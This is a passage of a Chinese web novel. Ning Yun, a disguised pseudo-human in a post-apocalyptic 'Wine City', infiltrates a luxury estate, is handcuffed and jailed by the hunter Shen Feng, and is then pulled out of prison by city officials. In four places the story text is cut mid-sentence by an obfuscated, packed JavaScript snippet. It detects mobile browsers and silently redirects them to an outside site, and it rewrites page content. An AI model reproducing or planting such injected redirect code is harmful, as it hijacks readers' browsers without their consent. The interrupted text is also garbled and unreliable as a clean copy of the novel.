宁筠走在街口,漫无目的地闲逛,心想自己可能要流浪街头时,身旁的小巷似乎有什么东西一闪而过。 起初宁筠并未在意,直到她再度路过一条类似的小巷时,又看到了相同的影子。 有人在跟踪她? 最后一盏霓虹灯熄灭,小巷里陷入了未知的黑暗,有人在这里奔跑,剧烈的喘息声在小巷里回荡。 “该死的,跑哪里去了?” 男人的声音急促,显得急不可耐。 “她进了巷子里,绝对没跑的。”另一个男人说,“只要能抓到她,管她基不基地,还不是要老老实实……唔!” 闷哼声响起,紧接着便没有了音讯。 夜晚的云将月亮遮挡,狭窄的小巷里伸手不见五指。 男人有些慌了,“喂——喂,你还活着吗?” 下一秒,同样的闷哼声,这次夹杂着痛苦的哀嚎,伴随着“扑通”的倒地声,以及汹涌地汩汩声后,就再也没了声音。 宁筠躲在小巷的一个角落里,有点摸不着头脑。 第一个男人是她打晕的,第二个不是。 宁筠早在战斗中学会了下手利索,不留破绽,导致除了闷哼声就没有了其他声音。第二个又是闷哼,又是哀嚎,不符合她猎人的风范,倒像是某些生物的捕猎。 夜太深了,巷口的一切都模模糊糊,纵使宁筠在这么好的视力加持下,也只能稍稍看了轮廓。 一个弓着背的成年人,在吃掉了男人后,弯下的腰竟有了丝丝恢复,但仍习惯了似的在低头嗅着什么,然后一步一步地,冲着她的方向前进。 宁筠挪了一下地方,那人就停下来继续嗅着,然后转向她的方向。宁筠小跑了两步,那人明明走得跟老头一样,竟也焦急似的非要跑两步。 然后把自己跑摔了跟头。 对于蠢成这样的伪人,宁筠对此嗤之以鼻,她能让这东西近身,她就不是人。 ——走到了小巷的死路。 死路颇为贴心,在墙口上挂了一栏“此路不通”的告示后,就躺尸不动了,这种好心只给了一半的行为,宁筠称之为善意的嘲笑。 本想着趁着伪人腿脚不便时逃脱小巷,没想到又转角碰到了爱。 宁筠:“……” 算了,反正她本身也不是人。 伪人已经走到了她的面前,黏糊糊的嘴巴携着酒城独一无二的酒臭气息,在宁筠的面前,从脸嗅到了手,然后又不信邪似的从手嗅到了脸。 “奇——怪。”它停顿了一下,“你身上好重的味道。” 枪鸣声划破夜空,惊得感应灯齐刷刷亮起,那瘦骨嶙峋的伪人倒在血泊之中,无力地抽搐了几下,脸上停留着最后的疑惑。 这一幕刚好被刚刚拒绝她的宾馆老板看到。 “你不是要住宿吗?”老板说,“刚好还有个房间。” 不久之前,老板还义正言辞地拒绝了她,不屑的眼神几乎要飘到了八百里开外,宁筠打完一枪后,老板笑得眼睛都眯了起来,又叠加了许多优惠,生怕宁筠不住他的宾馆。 不少宾馆的客人都探出了头,脸上愤怒的、憎恶的情绪,在见到宁筠身上的枪后就消失得无影无踪。 众所周知,基地里出品的猎人和雇佣兵们,是世界顶尖的存在,如果能与基地的猎人打好关系,不说衣食无忧,甚至可能会获得进入基地的资格。 要知道,酒城只限制通行证,而不限制拥有通行证的是人是鬼,以至于夜晚的酒城,更多是属于伪人的酒城。 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903302|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筠在老板的带领下上了楼。 “我们这里提供免费的热水,还有泡面。”老板笑着说,“那可是珍惜物资,全城能提供这些资源的,不超过三家!” 酒城的科技水平落后,宾馆的设施也非常一般。 咯吱作响的木板,随地乱扔的烟头纸巾,灰蒙蒙的暗色灯光,像停留在上个世纪的旧时光画卷。 房间更是乱糟糟一片,主要目的是能住就行。由于今天来的尊贵客人,老板亲自收拾了一番,扔掉了垃圾,换上一套干净的新床单。 即使如此,空气中依旧有一股挥散不去的酒臭味。 鉴于对这座城市的看法,宁筠没敢住床上,随便打了个地铺,混过了一个晚上。 然后在早上八点退了房,摸到宾馆旁边的站台上等待着公交车。 据不靠谱的老板所说,星空之城需要乘坐214号公交车,在终点站不夜城下车即可。 公交站台也是老旧不堪,以至于宁筠路过了三次,才找到公交站台的位置,而在这之前已经错过了两趟公交车。 宁筠自从来到了酒城,运气就不大好。 等到她坐到了公交车后,那个号称不夜城扛把子的星空之夜,居然破天荒地没开门。 宁筠只能跑到了对面的酒吧,向着老板打听:“怎么关门了?” 老板道:“你新来的?星空之城只在夜晚开门,凭邀请函入场,你不会连邀请函都不知道吧?” 来撬墙角的,能知道什么邀请函。 宁筠只能继续问:“邀请函怎么获取?” 老板道:“倒也不难,你去星空之城旗下的星空交易行,那里存个一百万,或者在基地有个一官半职,就有人将邀请函送到你的手中了。” 首先,这两个钱袋子不可能有一百万,其次,宁筠是基地的通缉犯,总不能说通缉犯也是个一官半职吧? 宁筠犯了难。 两个条件极其苛刻,似乎卡死了宁筠的撬墙角之路,宁筠孤身寡伪人一个,既不认识富婆,也不认识身居要职的大佬。 难不成真的没有办法了吗? 但她想到了一个人,那人曾说过木果酒吧的老板儿子,似乎有一个不得了的母亲,既然与城主关系密切,想必一定有邀请函吧? 宁筠当天晚上又折回了果木酒吧。 绚丽五彩的霓虹灯光,醉生梦死的人类,一切似乎与昨日并无不同。 “胆子真大。”仇景澄依旧坐在昨天的位置,似乎对宁筠的到来很稀奇,“昨天不是告诉过你,他们不是好人了吗?” “我想进‘星空之城’。”宁筠说,“你一定有办法的吧?” “理论来说有。” 仇景澄露出了一副奸商般的笑容,微微弯腰,做了个绅士礼,“500元,老奴为你排忧解难。” 老奴的价值有点贵,宁筠怕是付不起。 她面无表情,“我还是找找别……” “别!五元,我可以给你找个门路。” 仇景澄笑嘻嘻地收下钱,指着不起眼的一张桌子,上面模模糊糊的有个人影,孤零零地坐在一角。 “你可以问问他。”仇景澄说。 18. 酒城 干瘦的背影,独自坐在角落,低垂着头,与酒吧内醉生梦死的热烈气氛截然不同,像是整个世界都与他无关。 如果宁筠没猜错的话,这个人叫仇远。 “请问,你叫仇远吗?”宁筠坐在他的旁边问。 少年像是没听到一般,轻晃了几下杯中的酒液,一口饮尽。 宁筠只好继续说:“昨天的事谢谢你。” 仇远这才冷淡地看了她一眼,唇瓣嗡动着,声音弱得像阵风,像是个临近濒死的可怜人。 过了许久,宁筠才反应过来,他说的是:“没事。” 再度望去仇远时,才发现他羸弱得可怕。 身形消瘦,握着酒杯的手腕,瘦的只剩下一层薄薄的皮,仿佛一阵风就能将他吹倒。 果木酒吧老板的儿子,城主的亲戚,若是在前世,这种身份至少能尊称一声“少爷”,而仇远看起来更像个没饭吃的难民。 宁筠玩游戏时,最看不得这样的村民了。 “你吃过饭了吗?我可以请你吃饭。” 仇远不愧是大少爷,冷笑了一声,“我帮你挡药,你居然要对我图谋不轨,什么以德报怨?” 现在的小孩都这么精吗? 宁筠在思考时,脸上会呈现一种空白的神情,在外人看起来像是被拒绝后的茫然无措。 片刻后,她开口:“只是单纯的请你吃饭。” 没想到小孩瞥了她一眼,嫌弃地犹豫了几下。 似乎是觉得宁筠这个脑子骗不到他,于是点头答应了:“行,你请我,多少钱都可以的那种,不然我不去。” 果木酒吧旁的一间小店里。 小店没有招牌,半敞着门,室内外稀稀落落地摆了几个桌椅,木桌子被盘的包了浆,不少苍蝇落在桌面上直打滑,墙面上贴了张巨大的菜单,最贵的牛肉面不过2元。 不少人喝多了酒,就喜欢到附近的小店里喝些暖汤,吃点汤面,暖一暖喝到抽痛的胃,这间距离果木酒吧最近的馆子,就成了最佳的选择。 宁筠已经做好了被宰一笔的准备,没想到臭小孩只是带她来一家苍蝇小馆。 “哎哟。”老板娘笑着打招呼,“小远又来啦,这次想吃什么?” 老板娘用抹布擦着两人面前的桌子,将一碗不知道用什么材料做出来的汤,放在两人的面前。 臭小孩扬了下下巴,对着老板娘说:“我要这里最贵的面!两碗,不,三碗!她付钱!” 见宁筠没什么意见,老板娘又问,“您要吃些什么?” “一碗青椒面。” 其实宁筠还不饿,也不是很想吃东西,但周围的人狼吞虎咽,黏黏糊糊的小情侣们,在端上了面后也安安静静地吃着,突然间生出了几分好奇。 老板的手脚很利索,没过几分钟,面就端上来了。与包浆的桌椅不同,汤碗一干二净,汤面色泽金黄,面条也是软硬适中,加上了鲜嫩多汁的牛肉片,再撒上了两把葱花,和金黄色泽的鸡蛋,如果能在半夜时吃上一口,必然是极为美味的。 宁筠没忍住多吃了一些。 她的吃相还好,仇远看起来似乎饿坏了,囫囵吞枣似的吃掉了一碗汤面,紧接着又狼吞虎咽地奔向另一碗面,直到吃了第三碗时,他才打了一个悠长的嗝,小口小口吃起来。 半夜来吃面的人并不多,老板娘忙完了她们这一单,随意找了个凳子坐了下来。 宁筠从兜里翻出了几块钱,老板娘推辞了好久,但宁筠执意要给,她也就收下了。 明明是个手脚利索的中年人,在这一刻却笑得像是个慈祥的老人,“仇远这孩子命苦,总算遇到了个好人。” 宁筠问:“他怎么了?” “他母亲去世的早。”老板娘开口说,“仇远是个好孩子,可惜十多年前……后来他父亲又忙着挣钱,总是顾不上他。” 何止是顾不上他,看仇远的吃相,他大概已经很久没吃过一顿饱饭了。 “您也别嫌弃他,他虽然脾气不太好,人又很倔,但他心性不坏,就是他家……唉。” 老板又叹了口气。 仇远似乎已经习惯了,默默将第三碗面吃抹干净,抹了一把嘴,微微呼出一口气。 “你勉强算个好人。”仇远说,“你有什么事有求于我吗?” 明明是个小孩子,却张嘴闭嘴就要谈事,反倒是像个势利的成年人,没了青少年应有的活泼和朝气。 却又不得不承认,宁筠确实是有求于他。 仇远一副“果然如此”的模样:“说吧,什么事?” “我想进‘星空之城’。” 仇远睁大了眼睛,拍案而起,“你疯了?” 果然吃饱了饭,声音也变得大了起来,惊扰了吃面的顾客,不断有人向着这边看,倒是眼神看起来颇有几分探究。 显然是有人听到了她们的对话。 他意识到自己的动静不小,迅速坐了回去,小声说:“我没有邀请函,就算有也不可能给你的。” “你一定有。” 宁筠突然来了这么一句,吓得仇远直接捂住了宁筠的嘴。 “我不是祖宗,您才是。”仇远没好气地说,“你知不知道邀请函意味着什么,那可是发财、暴富的机会!” “如果有人拥有了邀请函,这说明他拥有了百万财富!谁不喜欢?就凭我们两个人,早就被抢了好吗!” 宁筠沉默了一下,掏出了自己的那把蓝色枪。 “我觉得我们应该不会被抢。” “你是猎人?”仇远像是在问她,又像是在喃喃自语。 他似乎又陷入了思考,不断地看着宁筠手上的枪,又瞅了瞅宁筠本身,拧着眉,似乎完全意识不到,看起来柔柔弱弱的人怎么会是猎人。 片刻后,他终于叹了口气,“行,我确实有一份邀请函,但我还需要你帮我做一件事。” “你不会觉得一顿饭就可以让我把这么贵重的东西送你吧?” 宁筠确实没这么想,但作为她想象中的小屁孩,可能会为了面子而这么做。 现在她要重新评估一下这个叫“仇远”的小屁孩。 “你需要我帮你做什么?”宁筠问。 仇远:“我需要你帮我找到,我母亲死亡的真相。” 两个人在苍蝇馆子,吃着面,周围是熙熙攘攘的喝醉酒的普通人,突然谈这么正经的事,看起来有点不靠谱。 但她去“星空之城”找酒保这事,似乎也不是那么靠谱。 “我答应你。”宁筠说。 少年看起来年纪不大,心眼却不小。交易达成后,他却没有立即给宁筠“邀请函”,反而是要求她明晚十点到达星空之城的门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909725|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宁筠只得答应。 第二天晚上,宁筠准时到达,刚下了公交车,就听到一个低沉的声音说“别动”,随后又有一个极硬的东西抵在了宁筠的腰窝。 像是刀,又像是其他的什么武器。 作为一个新晋的老道猎人,她很清楚这绝对不可能是枪,于是她反背着手,悄悄掏出枪支时,却发现腰窝的东西撤了回去。 “你这人真没意思。”那人说。 宁筠这才回头,发现身后站着的是昨天的小屁孩,而他的手里握着一张极硬的卡片,看起来像是刚刚抵在宁筠腰窝处的东西。 是邀请函。 仇远扬了扬下巴,说:“等会从侧门进去,正门不是给我们准备的,我的邀请函并不高级,顶多能帮你进天空之城。” “然后……剩下的就看你了。”仇远对她竖了个拇指,看起来完全不担心宁筠会跑路一样。 看我?宁筠并未打算做他颁发的任务,至少她的当前要务是找酒保,找到了酒保,她就会从这个城市离开,最多在达成目的之前,稍稍帮他一把。 母亲去世得早,很多事情已经死无对证了,她能帮着做什么? 宁筠绷着脸,但还是顺从地点了下头。 酒庄的装饰奢华,映入眼帘的是一座巨大的喷泉,周围是天然石板铺就的小径,草坪都是珍惜的花草树木,空气中弥漫着馥郁的花香与清新的草香。 正对着大门的,便是三层的欧式城堡建筑,窗户镶嵌着彩色琉璃,几个年轻的男女,身着盛装礼服,配合着叫不出名字的古典乐曲,于室外舞池中翩翩热舞。 两个人从酒庄的侧门进来时,就看到这么一副景象。 仇远脚下没停,带着她一路穿越了许多的偏僻小路,最终才在一扇侧门遇到了检查“邀请函”的人。 而检查邀请函的人,紧蹙着眉头,对着她们上下打量了好几眼,属实不像是对待客人,反而像是挑选着什么货物一般。 宁筠没忍住问:“我们走的侧门,不会是后厨吧?” 仇远信誓旦旦,“不可能是后厨!” 那人严厉地咳嗽了一声,嘟囔着说:“怎么一个比一个弱,到底是谁把你们招来的……” 宁筠:“……” 窒息。 紧接着,那人嫌弃地“啧”了一声,才开口:“你们进去吧,记得不要弄撒客人的酒。” 不要弄撒客人的酒。 确实不是干后厨,是端盘子的服务员! 宁筠下意识地看向仇远,他却对着宁筠“嘿嘿”笑了一声,意思不言而喻。 为了混进星空之城,宁筠决定忍下这口恶气。 酒庄不止有室外的舞池和露台,室内也是一绝,华丽的水晶灯吊顶,堪比巨型别墅的上下楼梯,下方不设立酒桌,而是以包间的形式,向每个客人提供良好的隐私权。 宁筠被安排送往0219号包厢客人的酒,仇远不知道被安排在了哪里,自从被主管安排了任务后就两人分散了。 对此仇远表示:“我们只是单独行动,一会儿还要集合的。” 像个小学生一样。 酒庄太大,至少说明两个人可能短时间不会再见面,一想到能去打探酒保,宁筠的表情就有些藏不住。 结果欢呼雀跃的表情在遇到了包厢客人后,消失得无影无踪。 19. 酒城 包间的环境优美,空间足够二十个客人们在这里跳华尔兹,坐在主位上的人身材高大挺拔,身姿如松,修长的腿微微翘起,与周围的气质浑然一体。 如果能抛开这人穿着蓝色制服的话。 宁筠后知后觉感知到了今晚的第二次窒息。 好在酒城内颁发的侍酒师服饰上,带了一个优雅的礼帽,足够遮挡宁筠的脸,她默默地放下了酒杯,低声对着客人们介绍一番,就悄悄踱步,向门口走去。 包厢里除了沈枫,还有另外两个她不认识的男人,或许是富豪,或许是达官显贵,此时的她更希望另外两人是个草包,邀请沈枫来寻欢作乐。 但她似乎低估了沈枫这人的底线。 “如果你们看到了这个人,一定要抓到她。”沈枫掏出了一张宁筠的画像,递给对方。 画像有些凌乱,黑白色的宁筠侧着脸,未露出的手看起来在抓着什么东西,平衡着身体。 宁筠还记得,这段画面是她路过沈枫时,拼命骑三轮车的抓拍。 沈枫还是知道了她的身份。 对面显然实力不俗,满口答应:您放心,既然她进了酒城,绝不可能逃不出去的。” 宁筠默默关上房门,这段吓人的对话就戛然而止,停留在包厢内。 沈枫没认出来她,至少在她端酒时,看都没看过宁筠一眼,让宁筠无形地松了口气,心情也稍稍放松了些。 她眯了下眼,将城堡内的珠光宝气屏蔽,视线的余光处似乎瞥到了什么,再一看时,珠光似乎微弱了一些。 “喂,你怎么没去做任务?” 死小孩的声音从背后传来,几乎吓了宁筠一跳。 做个屁啊,她的一生之敌就与她隔着一道门,还在她眼皮子底下要抓她。 宁筠随意编了个借口:“至少我要先完成端盘子的活。” 她说这句话时咬牙切齿的,将“端盘子”这三个字咬得极重,不知道是在向谁发脾气似的。 仇远理亏,呐呐地“嗯”了一声,视线开始飘忽。 室外星空明亮,极光变换,像是翻滚的绿色海潮,正对着星空之城上方,极具梦幻绚丽的光芒。 见宁筠对星空发呆,仇远自豪地说:“这就是星空之城的漂亮之处!只有在这里才能看到这么漂亮的星空!” 宁筠本想说自己只是在想逃跑路线,却在看到小屁孩感伤的表情时,默默地吞咽了回去。 在很久以前,这或许是他的日常,而现在却变成了看一眼都奢靡的存在。 “你想要我找什么线索?”宁筠问。 仇远蹲在水池前想了想,说:“我母亲死在了十年前,在我四五岁的时候。当时的她给我留了一段纸条,说让我长大后破解。” “原本的纸条让我给了小……”仇远闭上了嘴,停顿了一下,继续说,“这么多年我一直没理解她的意思,直到我无意中将这段话写下来,才知道母亲在这里留下了一首藏头诗。” “她说,她是被人杀害的,要我在几年后找到事情的真相。” 他有些难过地说着:“而我当时应该是第一见证者,可我想不起来了。” “我想找到和母亲当时事件有关的人,让他们受到应有的惩罚。” 如果仇远母亲是仇兰月的姐妹,那么确实需要到“星空之城”寻找线索,也确实只有这里的人,有能力对他的母亲下手。 但已经过了几十年,怎么可能会被她们两个门外汉找到。 宁筠不大赞同,但看到仇远难过到有些平静的神情,却突然停顿了一下。 鬼使神差的,她答应了下来。 仇远破涕为笑:“那就这么说定了!我去室外找线索,你继续在室内找线索。” —— 距离两人商议已经过了半个小时,又顺路送了两趟酒的宁筠,只觉得自己脑子糊涂了,居然在逃命的时候答应了对方。 宁筠头有点疼,小屁孩说了一堆,却又什么都没说,杀害母亲的具体情况,凶手的特征一无所知。让她在酒庄里找凶手,不亚于大海捞针。 更何况连酒保也没看到一个。 直到宁筠问了一个好心人后,终于了解了酒庄的机制。侍酒师与酒保不会相互接触,酒保调好的酒会放在专属的酒柜,宁筠只需要前往相应编号的酒柜,再把酒水送给客人,大概是防止其他客人偷学。 随着夜深,酒庄的客人逐渐繁多,宁筠也跟着忙碌起来。 大多数客人在送到酒后,会给宁筠一点微不足道的小费,又或者要求宁筠放在包厢外面,随手赠送了什么东西,将宁筠打发走。 但有些客人例外。 宁筠望着对她纠缠了半天的客人。 客人醉红的脸,笑得分外猥琐,却紧拉着她不放手,非要她亲自调上一杯酒。 酒城上方不停飘散着浓烈的酒臭味,连着达官显贵也显得腐败不堪。 末世之下的酒色会掏空人的欲望,也会加剧人的欲望。 宁筠很讨厌这种行为,却又不得不承认,性别带来的力量悬殊,导致□□悄然生长,而酒城就是放任污秽生长的堕落城市。 如果不是换上了制服,不好携带枪支,宁筠现在可能已经一枪崩掉了这人的头。 即使是这样,客人也不大好过。 宁筠一脚踹向了客人,腿弯抵在了客人的肚子下,又对着手脚“邦邦”来了几拳。 只知道贪吃享乐的富贵们自然没有宁筠的身手,这群人吃得满嘴流油,以至于肚子、大腿上堆积了不少赘肉,整个人看起来像是个球。 不需要考虑户外的生存,自然也不知道如何与类人生物打架,以至于连反抗都不会。 宁筠又不解气地打了几下,直到客人吐掉了今晚所有的酒水,不省人事之后,满意地走出门外。 门外跪了一排排保镖。 富贵们贪生怕死,即使是这样的娱乐场所,也要带着几十个身强体壮的保镖,伫立于门外。 此时的情况好像不大一样,保镖们不仅跪了,还对着宁筠的方向跪着,让做贼心虚的宁筠更加心虚了。 这帮保镖怎么了? “忙完了?”身后突兀传来了一个声音,漫不经心地问着她。 这个声音宁筠这辈子都不会忘记。 属于沈枫的声音。 宁筠的身体僵住了,咽了下口水,指尖蜷曲着,慢慢地回头。 沈枫靠在门边上,距离宁筠只有几指之远,这时的宁筠听到了被她忽略掉的,均匀地呼吸声,以及对方身上若有若无的香气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916744|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 末世中,香水是稀缺资源,看来这人也没想象中的廉洁。 宁筠点了下头,“是的,客人您有什么事吗?” “找你确实有点事。”他说,“0219号包厢缺了一杯酒,能麻烦您带下路,陪我去取一杯吗?” 宁筠没有拒绝的理由。 紧接着,沈枫轻飘飘地说了句“可以进去”后,保镖们连滚带爬,直直冲向包厢内,宁筠这才意识到,自己的行为似乎也没那么隐蔽。 “这里有监控。”沈枫指了指上面一个突出的点,“连接到各处守卫的,你在打他的第一拳,他们就都知道了。” 说完后,他走在了前面,灯光将他的背影拉得很长,在这朦胧暮色中显得额外醒目,看起来不容拒绝。 但愿对方不知道自己的身份。 酒庄确实很大,无数的主干上又延伸出不少扭扭曲曲的小路,沈枫似乎对这里颇为了解,每次都走小路,不停地变换着方向。 看起来偏僻,路上该摆放的酒柜一点未少,上面的酒精致又珍贵,偶有几个侍酒师过来取酒。 她默默地跟着沈枫走,在心里感叹着,这熟练程度,让她带路似乎只是个借口,本质是达成其他目的一样。 宁筠突然一愣。 达成其他目的……? 沈枫突兀地停顿了下来,在宁筠的视线下,拿出了酒柜中独一无二的酒,随后向着原来的方向折回,并说了句:“谢谢。” 宁筠稍稍松了口气。 直到沈枫与宁筠擦肩而过时,他的指尖抽动了几下,紧接着,一把冰冷的、闪烁着银色光芒的手铐,就将宁筠烤住。 还未等宁筠反应过来,又将手铐烤在了自己的手腕上。 他垂下眼,扬了下胳膊上的手铐,“好久不见,宁筠。” 满打满算也就四五天未见,偏偏这人还没什么自觉,居然和她攀起了家长里短。 “自从你走后,红灯又亮了好久。”沈枫说,“探测仪差点报废。” “所以以破坏公共设施罪逮捕你,没问题吧?” 事实上在宁筠逃离的第二天下午,又一趟列车到岸,载着不少经验丰富的猎人成功靠岸。 本该是死亡率最低的车厢,偏偏探测仪就像是失灵了一般,谁经过都爆发出红灯,其闪烁程度,要不是他们还处于末日里,沈枫一度怀疑是不是再次世界末日了。 而且这东西居然还传染,几乎不到三天,列车门口的探测仪全部报废,来只狗也能鉴定成伪人,几乎基地上下所有的专家都夜不能寐。 后来才知道这场事故的源头,是宁筠经过了某个探测仪。 原本沈枫觉得自己只是看走了眼,这下又有些不确定了。 或许……她是人类呢? 总之,失职的沈枫,被迫开始抓捕“始作俑者”宁筠。 宁筠不觉得没问题。 “你那个东西坏了还能怪我?” “哦。” 沈枫看了她一眼,手上动作不变,“那就寻畔滋事罪。” 意有所指。 宁筠无言。 在沈枫猎人的努力下,宁筠成功让警局在大半夜加了班,被迫吃上了人生中的第一顿牢饭。 三素一汤,味道一般。 20. 酒城 酒城曾经是著名的监狱,对于入监手续办理,自然是极为成熟的。 “名字。” “宁筠。” “年龄。” “18。” …… “籍贯。” “……基地。” 身着制服的女性终于停止了公式话的问答,疑惑地抬起头,打量着宁筠,似乎不太理解,为什么基地的人会进入酒城的监狱。 但还是盖上了章,宁筠拿着体检单子前往二楼的检查区。 二楼要比一楼开放许多,中间是个敞开的大厅,被密密麻麻的科室围成了一个圆形,宁筠顺时针走遍了科室,包括但不限于抽血、量身高体重、血压等情况。 排队的人很多,与前世监狱不同的是,这里的罪犯,无论男女,服侍都清凉透彻,和街上普通人的风格截然不同。 宁筠包裹得严严实实的职业装,倒是成为了异类。 相比于入狱,宁筠更担心自己的身体。 首先,这个身体是伪人的。 其次,她是穿越的,这具身体的主人是谁,她也不清楚。 如果在检测中与原主人的身体数值不同,她的身份会暴露。 宁筠躺在椅子上,抬头望着天花板上的通风管道,距离地面有3米高,不知道以她的身体素质,有没有机会从这里逃出去。 好在监狱的规章制度都很成熟,没过多久,就有一个年轻的狱警向她走了过来。 “等会去8号监区报道。”跟随着她的狱警出了声,领着她出了机关门口。 狱警继续说:“你的身体很健康,罪名也不重,顶多关押几天,记得出去后不要惹事了。” 没事了吗……? 宁筠紧皱的眉头舒展开,准备好的细丝又被揣在兜里,听话地跟着狱警走。 狱警从未见过这么听话的罪犯。 在酒城,只存在两种罪犯,一种是不听话的,刚进监狱就想着逃跑的罪犯,另一种是更加不听话的,想要炸了监狱的罪犯。 即使在讲解监狱的整体环境环节,宁筠也听话得过分,就算狱警将出口告诉了宁筠,她也只是认真地点了下头,然后继续神游四方。 狱警有一种被敷衍了的感觉。 最后是监舍入住,狱警将她送到宿舍,就独留宁筠一人站在房间的门口。 宿舍内空间不大,勉强能看出是个双人房。 左边床铺的墙上挂满了画作和海报,桌面上堆积了大大小小的书本,宁筠粗略地看了一眼,最上面两本的书名叫:《如何逃离监狱》、《在监狱必须知道的三件事》…… 这是可以带监狱里来的吗? 正当宁筠收拾着书桌时,监狱的室友回房了。 “新来的?”门口站着一个女性,一头略显凌乱的金色长发随意地披在肩头,囚服松松垮垮,衬得人身消瘦。 随后也没等宁筠答复,就自顾自地说了起来,“你也是在酒吧里抓来的吧,呵,那些人不敢惹达官显贵,只能拿我们这群普通人撒火。” 宁筠直觉她说的可能不是这个意思,但好像没什么问题。 “得罪了哪个权贵?” 宁筠沉思,“不认识,随便揍一个进来的。” 室友啧了几声,上下打量了她好几眼,“看不出来,长得挺乖的,脾气还挺暴。” 宁筠觉得还好,但想想自己来到这个世界,好像不是在打架的路上就是在打架的路上,也有些不确定了起来。 她还是挣扎了一下:“也没有那么爱打架。” 室友继续说:“好事,起码在这里,还能保证你的安全。” 见宁筠有些怔愣,她抿了下唇,笑容有几分的苦涩。 “我们大多数人,都是因为……那个抓进来的。”室友示意宁筠看向窗外。 窗外三三两两的人群,即使是穿上了囚服,浑身上下也能看出精致的痕迹,不大像是监狱,倒像是……一个巨大的舞厅后台。 室友笑了笑,“这个世界就是这样的,尊贵的人享受世界的权利,而我们这些底层,则是属于他们的消耗品。” “男性那边更惨呢,据说有些人已经当不成——” 被一阵紧急的敲门声打断。 “咚咚咚。” “请问宁筠在吗?”门外有人问道。 宁筠应了一声。 “有人找你。” 室友的态度有些不对,浑身紧绷,拉扯着宁筠的衣袖,冲她摇了摇头。 宁筠感激这个善良的室友,正要放下对方的手,门外又响起了敲门声,比刚刚还要急促。 “如果你继续违抗命令的话,我们要采取强制措施了。” 宁筠冲室友安抚地笑了下,然后打开了门。 门外的狱警显然是刚刚送她来的那个,看起来已经习惯了,面无表情地带着她往外走。 监狱有专门为探望家属而设置的一栋楼,摆放着几排椅子,犯人们被隔断在一个被金属网隔断的房间内,里面只有空荡荡的一个桌椅,宁筠就坐在这里。 来探望宁筠的不是仇远,也不是带她走的沈枫,而是一个她从未见过的人。 准确来说还是有一面之缘的。 当时在给沈枫端酒时,宁筠窥视过一眼,坐在沈枫的下位,答应了沈枫的要求。 现在她已经被抓了,还来这里看她干嘛? 宁筠不理解,但这人却一脸熟络地向狱警了开了口。 “这人什么罪?消了,我要把她带走。” 酒城的腐败程度还真是惊人,这种话居然敢当着广众的面前说出来,偏偏这些人一脸习惯了的样子,连看都没看一眼。 狱警表情非常为难,但看宁筠的眼神又有一种说不出来的不对劲。 他说:“她是基地那位要带走的,恐怕不合适吧?” 那人摆了摆手,一脸无所谓,“说人死了就行。” 狱警犹豫了几秒钟,最终打开了金属隔栏做的门,将宁筠领到了那人面前。 狱警说:“就当没来过这里吧,也别说我带过你。” 宁筠已经被那人带到了家属楼的转角,狱警的声音停在室内,逐渐消散,只剩下了狱警无奈的叹息。 很快宁筠就知道他在叹气什么。 那人开了口,“我叫宣献。你应该知道我吧?” 其实是不知道,但宁筠还是装作了解的模样点了点头。 “那就好办了,我曾在星空之城见过你,你是侍酒师?”宣献没打算得到宁筠的回复,“有没有兴趣做另一个职业,比如说——” “比如说成为城主身边的人。”突兀一个声音打断了他。 仇景澄倚靠在警局门口的牌匾旁,双手交叉在胸前,说话颇为不客气。 “仇景澄?你不是出城了吗?” 宣献的声音听起来又急又气,于是宁筠心下清楚,仇景澄应该也是个大人物。 她有些担忧自己花的钱,毕竟这人隐藏了自己的身份,很难不怀疑他提供的其他信息,也可能跟放屁似的。 仇景澄继续说:“城主点名要找她,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919744|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气很严肃,估计是很严重的事。” 仇兰月是仇远的亲戚,除了仇远,宁筠不知道仇兰月找她还能有什么事。 难不成仇远也丢了? 宁筠感觉还怪不好意思的,毕竟昨天是她失踪在先,这孩子看着心眼挺多,实际上还是个小孩子,人丢了她也有责任。 也不知道仇景澄说了些什么,宣献走的时候,表情阴森森的,一副“你们找不到人就完蛋了”的模样。 于是宁筠对仇景澄说,“他跟仇远有仇? 